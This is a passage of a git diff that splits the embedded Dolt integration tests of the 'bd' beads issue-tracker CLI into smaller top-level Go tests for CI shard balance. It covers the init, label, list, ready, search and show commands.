BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // The #5068 refusal and consent paths, end to end. @@ -768,7 +796,7 @@ func TestEmbeddedInitA(t *testing.T) { }) } -func TestEmbeddedInitB(t *testing.T) { +func TestEmbeddedInitBRemoteSchemaAndCloneFailure(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } @@ -926,6 +954,15 @@ func TestEmbeddedInitB(t *testing.T) { t.Fatalf(".beads/config.yaml should not exist after a failed clone; init must not silently fall through to fresh init") } }) +} + +func TestEmbeddedInitBStealthAndForceReinit(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // Regression: bd init --stealth must not touch any git-visible files. Previously it // created/modified the tracked project-root .gitignore via doctor.EnsureProjectGitignore, which @@ -1090,6 +1127,15 @@ func TestEmbeddedInitB(t *testing.T) { t.Errorf("issue_prefix after --force: got %q, want %q", val, "fi") } }) +} + +func TestEmbeddedInitBAutoCommitAndJSONLRemote(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("auto_commit_bypasses_hooks", func(t *testing.T) { dir := t.TempDir() @@ -1527,7 +1573,17 @@ func TestInitGateBusyClassifiedAsLockContention(t *testing.T) { } } -func TestEmbeddedInitRoleRouting(t *testing.T) { +// The role routing cases are two top-level tests, not one: each case is a +// full embedded init under -race and they cannot run in parallel (t.Setenv). +func TestEmbeddedInitRoleRoutingExplicitDefault(t *testing.T) { + testEmbeddedInitRoleRouting(t, "explicit", "default") +} + +func TestEmbeddedInitRoleRoutingRetainedFork(t *testing.T) { + testEmbeddedInitRoleRouting(t, "retained", "fork") +} + +func testEmbeddedInitRoleRouting(t *testing.T, names ...string) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } @@ -1539,6 +1595,9 @@ func TestEmbeddedInitRoleRouting(t *testing.T) { {"retained", "contributor", "", "contributor"}, {"fork", "", "", "contributor"}, } { + if !slices.Contains(names, tc.name) { + continue + } t.Run(tc.name, func(t *testing.T) { target, decoy, home := newInitRoleFixture(t) if tc.initial != "" { @@ -1606,15 +1665,23 @@ func TestEmbeddedInitRoleRouting(t *testing.T) { } } -// The selected-exclude routing cases are two top-level tests, not one: each +// The selected-exclude routing cases are four top-level tests, not one: each // case is a full embedded init under -race and they cannot run in parallel // (t.Setenv), so one function held a whole Bazel shard for ~2 minutes. -func TestEmbeddedInitSelectedExcludeRoutingStealth(t *testing.T) { - testEmbeddedInitSelectedExcludeRouting(t, "stealth_decoy", "stealth_invalid", "quiet_stealth") +func TestEmbeddedInitSelectedExcludeRoutingStealthInvalid(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "stealth_invalid") } -func TestEmbeddedInitSelectedExcludeRoutingFork(t *testing.T) { - testEmbeddedInitSelectedExcludeRouting(t, "fork_decoy", "fork_invalid", "quiet_fork", "fork_auto_invalid") +func TestEmbeddedInitSelectedExcludeRoutingStealthDecoyQuiet(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "stealth_decoy", "quiet_stealth") +} + +func TestEmbeddedInitSelectedExcludeRoutingForkDecoyAuto(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "fork_decoy", "fork_auto_invalid") +} + +func TestEmbeddedInitSelectedExcludeRoutingForkInvalidQuiet(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "fork_invalid", "quiet_fork") } func testEmbeddedInitSelectedExcludeRouting(t *testing.T, names ...string) { @@ -1744,12 +1811,27 @@ func TestEmbeddedInitArtifactRouting(t *testing.T) { } } -func TestEmbeddedInitGitBootstrapRouting(t *testing.T) { +// The git bootstrap routing cases are three top-level tests, not one: each +// case is a full embedded init under -race and they cannot run in parallel +// (t.Setenv). +func TestEmbeddedInitGitBootstrapRoutingFreshQuiet(t *testing.T) { + testEmbeddedInitGitBootstrapRouting(t, "fresh", "quiet") +} + +func TestEmbeddedInitGitBootstrapRoutingDecoyInvalid(t *testing.T) { + testEmbeddedInitGitBootstrapRouting(t, "decoy", "invalid") +} + +func TestEmbeddedInitGitBootstrapRoutingExistingExplicit(t *testing.T) { + testEmbeddedInitGitBootstrapRouting(t, "existing_invalid", "explicit_storage") +} + +func testEmbeddedInitGitBootstrapRouting(t *testing.T, names ...string) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } bd := buildEmbeddedBD(t) - for _, name := range []string{"fresh", "decoy", "invalid", "existing_invalid", "explicit_storage", "quiet"} { + for _, name := range names { t.Run(name, func(t *testing.T) { existing, decoy, home := newInitRoleFixture(t) target := t.TempDir() diff --git a/cmd/bd/label_embedded_test.go b/cmd/bd/label_embedded_test.go index e4f1e88a4..e34e6fcfa 100644 --- a/cmd/bd/label_embedded_test.go +++ b/cmd/bd/label_embedded_test.go @@ -125,12 +125,15 @@ func markIssueTemplate(t *testing.T, beadsDir, database, issueID string) { } } -// TestEmbeddedLabelAddRemove was split from TestEmbeddedLabel (originally -// ~360s, measured under --config=embedded) into 3 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedLabelAddRemove(t *testing.T) { +// The TestEmbeddedLabelAddRemove* and TestEmbeddedLabelEditReports* tests +// were split from TestEmbeddedLabel (originally ~360s, measured under +// --config=embedded) into top-level tests over disjoint subtest groups, each +// on its own workspace, for CI shard balance (see +// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every +// original subtest is preserved exactly once, in its original order within +// its group; the label list-all subtests still follow subtests that add +// labels. +func TestEmbeddedLabelAddRemoveAdd(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -189,6 +192,16 @@ func TestEmbeddedLabelAddRemove(t *testing.T) { t.Errorf("expected valid JSON: %s", s) } }) +} + +func TestEmbeddedLabelAddRemoveMultiAndDuplicate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tl") t.Run("label_add_comma_separated_multi", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Multi label add", "--type", "task") @@ -244,6 +257,16 @@ func TestEmbeddedLabelAddRemove(t *testing.T) { t.Errorf("expected exactly 1 'dup' label, got %d in %v", count, labels) } }) +} + +func TestEmbeddedLabelAddRemoveRemove(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tl") // ===== Label Remove ===== @@ -375,19 +398,15 @@ func TestEmbeddedLabelAddRemove(t *testing.T) { }) } -// TestEmbeddedLabelEditReports was split from TestEmbeddedLabel (originally -// ~360s, measured under --config=embedded) into 3 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedLabelEditReports(t *testing.T) { +// See TestEmbeddedLabelAddRemoveAdd for the TestEmbeddedLabel split. +func TestEmbeddedLabelEditReportsPrefix(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() bd := buildEmbeddedBD(t) - dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tl") + dir, _, _ := bdInit(t, bd, "--prefix", "tl") // Two issues carrying DIFFERENT matching sets: the report is per issue and // each issue's set is resolved from its own labels, so a refactor that @@ -476,6 +495,16 @@ func TestEmbeddedLabelEditReports(t *testing.T) { t.Errorf("expected valid JSON: %s", s) } }) +} + +func TestEmbeddedLabelEditReportsNoop(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tl") // ===== No-op edits (GH#5988) ===== // @@ -584,6 +613,16 @@ func TestEmbeddedLabelEditReports(t *testing.T) { t.Errorf("add claimed an edit on the issue that already had the label: %s", out) } }) +} + +func TestEmbeddedLabelEditReportsListAndTemplate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tl") // ===== Label List ===== diff --git a/cmd/bd/list_embedded_test.go b/cmd/bd/list_embedded_test.go index d67b026e1..231c253ae 100644 --- a/cmd/bd/list_embedded_test.go +++ b/cmd/bd/list_embedded_test.go @@ -177,22 +177,33 @@ type testSeedData struct { readyTask string // P0, labels: backend, no blockers } -// TestEmbeddedListFiltering and TestEmbeddedListSearchAndOutput were split -// from TestEmbeddedList (originally ~298s, measured under --config=embedded) -// into 2 top-level tests over disjoint subtest groups, for CI shard balance -// (see scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedListFiltering(t *testing.T) { +// seededListWorkspace is the TestEmbeddedList* tests' shared setup: an +// initialized workspace seeded by seedTestData. +func seededListWorkspace(t *testing.T) (bd, dir string, seed testSeedData) { + t.Helper() + bd = buildEmbeddedBD(t) + dir, _, _ = bdInit(t, bd, "--prefix", "tl") + + // Seed test data + seed = seedTestData(t, bd, dir) + return bd, dir, seed +} + +// The TestEmbeddedListFiltering* and TestEmbeddedListSearchAndOutput* tests +// were split from TestEmbeddedList (originally ~298s, measured under +// --config=embedded) into top-level tests over disjoint subtest groups, each +// on its own seeded workspace, for CI shard balance (see +// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every +// original subtest is preserved exactly once, in its original order within +// its group; each group ran on the unmodified seed in the original too (the +// subtests before each split point create no issues). +func TestEmbeddedListFilteringBasicAndLabels(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "tl") - - // Seed test data - seed := seedTestData(t, bd, dir) + bd, dir, seed := seededListWorkspace(t) // --- A. Basic filtering --- @@ -454,6 +465,15 @@ func TestEmbeddedListFiltering(t *testing.T) { t.Fatalf("--skip-labels JSON leaked labels: %v", out.Issues[0].Labels) } }) +} + +func TestEmbeddedListFilteringStatusAndHierarchy(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir, seed := seededListWorkspace(t) // --- C. Status/special filtering --- // Note: --ready, --pinned, --status closed/deferred/in_progress tests are @@ -612,17 +632,13 @@ func TestEmbeddedListFiltering(t *testing.T) { }) } -func TestEmbeddedListSearchAndOutput(t *testing.T) { +func TestEmbeddedListSearchAndOutputSearchAndSort(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "tl") - - // Seed test data - seed := seedTestData(t, bd, dir) + bd, dir, seed := seededListWorkspace(t) // --- E. Content search --- @@ -725,6 +741,15 @@ func TestEmbeddedListSearchAndOutput(t *testing.T) { } } }) +} + +func TestEmbeddedListSearchAndOutputFormats(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir, seed := seededListWorkspace(t) // --- I. Output formats --- diff --git a/cmd/bd/ready_embedded_test.go b/cmd/bd/ready_embedded_test.go index ca6b29839..2e35f8980 100644 --- a/cmd/bd/ready_embedded_test.go +++ b/cmd/bd/ready_embedded_test.go @@ -16,7 +16,7 @@ import ( "github.com/steveyegge/beads/internal/types" ) -func TestEmbeddedReady(t *testing.T) { +func TestEmbeddedReadyDefaultJSONAndFlags(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -193,125 +193,6 @@ func TestEmbeddedReady(t *testing.T) { } }) - // ===== With Blockers ===== - - t.Run("ready_excludes_blocked", func(t *testing.T) { - blocker := bdCreate(t, bd, dir, "Blocker issue", "--type", "task") - blocked := bdCreate(t, bd, dir, "Blocked by blocker", "--type", "task") - - // Add blocking dependency: blocked depends on blocker - cmd := exec.Command(bd, "dep", "add", blocked.ID, blocker.ID) - cmd.Dir = dir - cmd.Env = bdEnv(dir) - if out, err := cmd.CombinedOutput(); err != nil { - t.Fatalf("dep add failed: %v\n%s", err, out) - } - - cmd = exec.Command(bd, "ready") - cmd.Dir = dir - cmd.Env = bdEnv(dir) - stdout, stderr, err := runCommandBuffers(t, cmd) - if err != nil { - t.Fatalf("bd ready failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) - } - // The blocked issue should not appear in ready output - if strings.Contains(stdout.String(), "Blocked by blocker") { - t.Errorf("blocked issue should not appear in ready output: %s", stdout.String()) - } - }) - - // ===== Exclude Label ===== - - t.Run("ready_exclude_label", func(t *testing.T) { - bdCreate(t, bd, dir, "Triage pending item", "--type", "task", "--label", "triage:pending") - bdCreate(t, bd, dir, "Normal ready item", "--type", "task") - - cmd := exec.Command(bd, "ready", "--exclude-label", "triage:pending") - cmd.Dir = dir - cmd.Env = bdEnv(dir) - stdout, stderr, err := runCommandBuffers(t, cmd) - if err != nil { - t.Fatalf("bd ready --exclude-label failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) - } - if strings.Contains(stdout.String(), "Triage pending item") { - t.Errorf("triage:pending issue should not appear with --exclude-label: %s", stdout.String()) - } - if !strings.Contains(stdout.String(), "Normal ready item") { - t.Errorf("normal issue should still appear with --exclude-label: %s", stdout.String()) - } - }) - - // ===== Label Any ===== - - readyIDs := func(t *testing.T, args ...string) ([]string, string) { - t.Helper() - cmd := exec.Command(bd, args...) - cmd.Dir = dir - cmd.Env = bdEnv(dir) - stdout, stderr, err := runCommandBuffers(t, cmd) - if err != nil { - t.Fatalf("bd %s failed: %v\nstdout:\n%s\nstderr:\n%s", - strings.Join(args, " "), err, stdout.String(), stderr.String()) - } - var issues []types.IssueWithCounts - if err := json.Unmarshal(bytes.TrimSpace(stdout.Bytes()), &issues); err != nil { - t.Fatalf("parse JSON: %v\n%s", err, stdout.String()) - } - ids := make([]string, 0, len(issues)) - for _, issue := range issues { - ids = append(ids, issue.ID) - } - return ids, stdout.String() - } - - t.Run("ready_label_any", func(t *testing.T) { - laneA := bdCreate(t, bd, dir, "Lane A work", "--type", "task", "--label", "lany:lane-a") - bdCreate(t, bd, dir, "Lane B work", "--type", "task", "--label", "lany:lane-b") - laneC := bdCreate(t, bd, dir, "Lane C work", "--type", "task", "--label", "lany:lane-c") - - ids, raw := readyIDs(t, "ready", "--json", "--label-any", "lany:lane-a,lany:lane-c") - - want := map[string]bool{laneA.ID: true, laneC.ID: true} - if len(ids) != len(want) { - t.Fatalf("--label-any returned %d issues, want %d — an unfiltered ready set means the OR-set clause was dropped: %s", - len(ids), len(want), raw) - } - for _, id := range ids { - if !want[id] { - t.Fatalf("--label-any returned %s, which carries neither requested label: %s", id, raw) - } - } - }) - - t.Run("ready_label_any_intersects_with_label", func(t *testing.T) { - both := bdCreate(t, bd, dir, "Tiered lane A work", "--type", "task", - "--label", "lmix:tier", "--label", "lmix:lane-a") - bdCreate(t, bd, dir, "Untiered lane A work", "--type", "task", "--label", "lmix:lane-a") - bdCreate(t, bd, dir, "Tiered lane B work", "--type", "task", - "--label", "lmix:tier", "--label", "lmix:lane-b") - - ids, raw := readyIDs(t, "ready", "--json", - "--label", "lmix:tier", "--label-any", "lmix:lane-a,lmix:lane-c") - - if len(ids) != 1 || ids[0] != both.ID { - t.Fatalf("--label with --label-any returned %v, want only %s (AND-set and OR-set must both apply): %s", - ids, both.ID, raw) - } - }) - - t.Run("ready_claim_label_any_fences_to_its_lane", func(t *testing.T) { - // An exhausted lane must claim nothing. If --label-any is dropped here - // the claim silently takes unfenced work while the caller believes it - // is fenced to its own lane. - bdCreate(t, bd, dir, "Fence lane B work", "--type", "task", "--label", "lfence:lane-b") - - ids, raw := readyIDs(t, "ready", "--claim", "--json", "--label-any", "lfence:lane-a") - - if len(ids) != 0 { - t.Fatalf("--claim --label-any on an empty lane claimed %v, want nothing: %s", ids, raw) - } - }) - // ===== -C flag ===== t.Run("ready_with_C_flag", func(t *testing.T) { @@ -424,6 +305,134 @@ func TestEmbeddedReady(t *testing.T) { }) } +func TestEmbeddedReadyBlockersAndLabels(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "rd") + bdCreate(t, bd, dir, "Ready test issue", "--type", "task") + + // ===== With Blockers ===== + + t.Run("ready_excludes_blocked", func(t *testing.T) { + blocker := bdCreate(t, bd, dir, "Blocker issue", "--type", "task") + blocked := bdCreate(t, bd, dir, "Blocked by blocker", "--type", "task") + + // Add blocking dependency: blocked depends on blocker + cmd := exec.Command(bd, "dep", "add", blocked.ID, blocker.ID) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("dep add failed: %v\n%s", err, out) + } + + cmd = exec.Command(bd, "ready") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd ready failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + // The blocked issue should not appear in ready output + if strings.Contains(stdout.String(), "Blocked by blocker") { + t.Errorf("blocked issue should not appear in ready output: %s", stdout.String()) + } + }) + + // ===== Exclude Label ===== + + t.Run("ready_exclude_label", func(t *testing.T) { + bdCreate(t, bd, dir, "Triage pending item", "--type", "task", "--label", "triage:pending") + bdCreate(t, bd, dir, "Normal ready item", "--type", "task") + + cmd := exec.Command(bd, "ready", "--exclude-label", "triage:pending") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd ready --exclude-label failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + if strings.Contains(stdout.String(), "Triage pending item") { + t.Errorf("triage:pending issue should not appear with --exclude-label: %s", stdout.String()) + } + if !strings.Contains(stdout.String(), "Normal ready item") { + t.Errorf("normal issue should still appear with --exclude-label: %s", stdout.String()) + } + }) + + readyIDs := func(t *testing.T, args ...string) ([]string, string) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd %s failed: %v\nstdout:\n%s\nstderr:\n%s", + strings.Join(args, " "), err, stdout.String(), stderr.String()) + } + var issues []types.IssueWithCounts + if err := json.Unmarshal(bytes.TrimSpace(stdout.Bytes()), &issues); err != nil { + t.Fatalf("parse JSON: %v\n%s", err, stdout.String()) + } + ids := make([]string, 0, len(issues)) + for _, issue := range issues { + ids = append(ids, issue.ID) + } + return ids, stdout.String() + } + + t.Run("ready_label_any", func(t *testing.T) { + laneA := bdCreate(t, bd, dir, "Lane A work", "--type", "task", "--label", "lany:lane-a") + bdCreate(t, bd, dir, "Lane B work", "--type", "task", "--label", "lany:lane-b") + laneC := bdCreate(t, bd, dir, "Lane C work", "--type", "task", "--label", "lany:lane-c") + + ids, raw := readyIDs(t, "ready", "--json", "--label-any", "lany:lane-a,lany:lane-c") + + want := map[string]bool{laneA.ID: true, laneC.ID: true} + if len(ids) != len(want) { + t.Fatalf("--label-any returned %d issues, want %d — an unfiltered ready set means the OR-set clause was dropped: %s", + len(ids), len(want), raw) + } + for _, id := range ids { + if !want[id] { + t.Fatalf("--label-any returned %s, which carries neither requested label: %s", id, raw) + } + } + }) + + t.Run("ready_label_any_intersects_with_label", func(t *testing.T) { + both := bdCreate(t, bd, dir, "Tiered lane A work", "--type", "task", + "--label", "lmix:tier", "--label", "lmix:lane-a") + bdCreate(t, bd, dir, "Untiered lane A work", "--type", "task", "--label", "lmix:lane-a") + bdCreate(t, bd, dir, "Tiered lane B work", "--type", "task", + "--label", "lmix:tier", "--label", "lmix:lane-b") + + ids, raw := readyIDs(t, "ready", "--json", + "--label", "lmix:tier", "--label-any", "lmix:lane-a,lmix:lane-c") + + if len(ids) != 1 || ids[0] != both.ID { + t.Fatalf("--label with --label-any returned %v, want only %s (AND-set and OR-set must both apply): %s", + ids, both.ID, raw) + } + }) + + t.Run("ready_claim_label_any_fences_to_its_lane", func(t *testing.T) { + // An exhausted lane must claim nothing. If --label-any is dropped here + // the claim silently takes unfenced work while the caller believes it + // is fenced to its own lane. + bdCreate(t, bd, dir, "Fence lane B work", "--type", "task", "--label", "lfence:lane-b") + + ids, raw := readyIDs(t, "ready", "--claim", "--json", "--label-any", "lfence:lane-a") + + if len(ids) != 0 { + t.Fatalf("--claim --label-any on an empty lane claimed %v, want nothing: %s", ids, raw) + } + }) +} + func TestEmbeddedReadyConcurrent(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") diff --git a/cmd/bd/search_embedded_test.go b/cmd/bd/search_embedded_test.go index ebc30af45..fae6d0808 100644 --- a/cmd/bd/search_embedded_test.go +++ b/cmd/bd/search_embedded_test.go @@ -64,7 +64,7 @@ func bdSearchJSON(t *testing.T, bd, dir string, args ...string) []map[string]int return results } -func TestEmbeddedSearch(t *testing.T) { +func TestEmbeddedSearchQueryStatusAssigneeLabels(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -140,42 +140,6 @@ func TestEmbeddedSearch(t *testing.T) { } }) - t.Run("search_status_all", func(t *testing.T) { - // Use prefix to match all issues - results := bdSearchJSON(t, bd, dir, "sr-", "--status", "all") - ids := map[string]bool{} - for _, r := range results { - ids[r["id"].(string)] = true - } - if !ids[taskA.ID] || !ids[closedTask.ID] { - t.Error("expected both open and closed issues with --status all") - } - }) - - t.Run("search_default_includes_closed", func(t *testing.T) { - // bd-t5yex: "was this already filed/fixed?" is the dominant search - // query, so the default must not silently hide closed issues. - results := bdSearchJSON(t, bd, dir, "sr-") - ids := map[string]bool{} - for _, r := range results { - ids[r["id"].(string)] = true - } - if !ids[taskA.ID] || !ids[closedTask.ID] { - t.Error("expected default search to include open and closed issues") - } - }) - - t.Run("search_status_comma_separated", func(t *testing.T) { - results := bdSearchJSON(t, bd, dir, "sr-", "--status", "open,closed") - ids := map[string]bool{} - for _, r := range results { - ids[r["id"].(string)] = true - } - if !ids[taskA.ID] || !ids[closedTask.ID] { - t.Error("expected both open and closed issues with --status open,closed") - } - }) - t.Run("search_status_invalid", func(t *testing.T) { out := bdSearchFail(t, bd, dir, "sr-", "--status", "not-a-status") if !strings.Contains(out, "invalid status") || !strings.Contains(out, "not-a-status") { @@ -257,6 +221,97 @@ func TestEmbeddedSearch(t *testing.T) { } }) + // ===== Description Filters ===== + + t.Run("search_desc_contains", func(t *testing.T) { + results := bdSearchJSON(t, bd, dir, "sr-", "--desc-contains", "alpha") + found := false + for _, r := range results { + if r["id"] == taskA.ID { + found = true + } + } + if !found { + t.Error("expected to find taskA with --desc-contains alpha") + } + }) + + t.Run("search_empty_description", func(t *testing.T) { + results := bdSearchJSON(t, bd, dir, "sr-", "--empty-description") + found := false + for _, r := range results { + if r["id"] == taskD.ID { + found = true + } + } + if !found { + t.Error("expected to find task without description") + } + for _, r := range results { + if r["id"] == taskA.ID { + t.Error("task with description should not appear with --empty-description") + } + } + }) + + _ = taskB + _ = taskC + _ = taskD +} + +func TestEmbeddedSearchStatusLimitSortDatesMetadata(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "sr") + + // Create test fixtures + taskA := bdCreate(t, bd, dir, "Alpha task", "--type", "task", "--priority", "1", "--assignee", "alice", "--description", "Important alpha work", "--label", "urgent") + taskB := bdCreate(t, bd, dir, "Beta bug", "--type", "bug", "--priority", "3", "--assignee", "bob", "--description", "Beta bug description", "--label", "backend") + taskC := bdCreate(t, bd, dir, "Gamma feature", "--type", "feature", "--priority", "2", "--label", "urgent", "--label", "frontend") + taskD := bdCreate(t, bd, dir, "Delta task no desc", "--type", "task") + closedTask := bdCreate(t, bd, dir, "Closed epsilon", "--type", "task") + bdClose(t, bd, dir, closedTask.ID) + + t.Run("search_status_all", func(t *testing.T) { + // Use prefix to match all issues + results := bdSearchJSON(t, bd, dir, "sr-", "--status", "all") + ids := map[string]bool{} + for _, r := range results { + ids[r["id"].(string)] = true + } + if !ids[taskA.ID] || !ids[closedTask.ID] { + t.Error("expected both open and closed issues with --status all") + } + }) + + t.Run("search_default_includes_closed", func(t *testing.T) { + // bd-t5yex: "was this already filed/fixed?" is the dominant search + // query, so the default must not silently hide closed issues. + results := bdSearchJSON(t, bd, dir, "sr-") + ids := map[string]bool{} + for _, r := range results { + ids[r["id"].(string)] = true + } + if !ids[taskA.ID] || !ids[closedTask.ID] { + t.Error("expected default search to include open and closed issues") + } + }) + + t.Run("search_status_comma_separated", func(t *testing.T) { + results := bdSearchJSON(t, bd, dir, "sr-", "--status", "open,closed") + ids := map[string]bool{} + for _, r := range results { + ids[r["id"].(string)] = true + } + if !ids[taskA.ID] || !ids[closedTask.ID] { + t.Error("expected both open and closed issues with --status open,closed") + } + }) + // ===== Limit ===== t.Run("search_limit", func(t *testing.T) { @@ -323,39 +378,6 @@ func TestEmbeddedSearch(t *testing.T) { } }) - // ===== Description Filters ===== - - t.Run("search_desc_contains", func(t *testing.T) { - results := bdSearchJSON(t, bd, dir, "sr-", "--desc-contains", "alpha") - found := false - for _, r := range results { - if r["id"] == taskA.ID { - found = true - } - } - if !found { - t.Error("expected to find taskA with --desc-contains alpha") - } - }) - - t.Run("search_empty_description", func(t *testing.T) { - results := bdSearchJSON(t, bd, dir, "sr-", "--empty-description") - found := false - for _, r := range results { - if r["id"] == taskD.ID { - found = true - } - } - if !found { - t.Error("expected to find task without description") - } - for _, r := range results { - if r["id"] == taskA.ID { - t.Error("task with description should not appear with --empty-description") - } - } - }) - // ===== Long Output ===== t.Run("search_long", func(t *testing.T) { diff --git a/cmd/bd/show_embedded_test.go b/cmd/bd/show_embedded_test.go index 04f9649f2..b142aa2f8 100644 --- a/cmd/bd/show_embedded_test.go +++ b/cmd/bd/show_embedded_test.go @@ -300,14 +300,21 @@ func TestEmbeddedShowBasicsAndJSON(t *testing.T) { }) } -func TestEmbeddedShowDetailAndCurrent(t *testing.T) { +// TestEmbeddedShowDetailAndCurrentFlags and +// TestEmbeddedShowDetailAndCurrentHistoryAndCurrent were split from +// TestEmbeddedShowDetailAndCurrent into two top-level tests over disjoint +// subtest groups, each on its own workspace, for CI shard balance. Every +// subtest is preserved exactly once, in its original order within its group; +// show_current_fallback_to_last_touched still follows subtests that show +// issues (show_as_of, show_local_time). +func TestEmbeddedShowDetailAndCurrentFlags(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() bd := buildEmbeddedBD(t) - dir, beadsDir, _ := bdInit(t, bd, "--prefix", "ts") + dir, _, _ := bdInit(t, bd, "--prefix", "ts") // ===== --long ===== @@ -362,6 +369,16 @@ func TestEmbeddedShowDetailAndCurrent(t *testing.T) { // Should not error even with no children _ = bdShowRaw(t, bd, dir, issue.ID, "--children") }) +} + +func TestEmbeddedShowDetailAndCurrentHistoryAndCurrent(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set 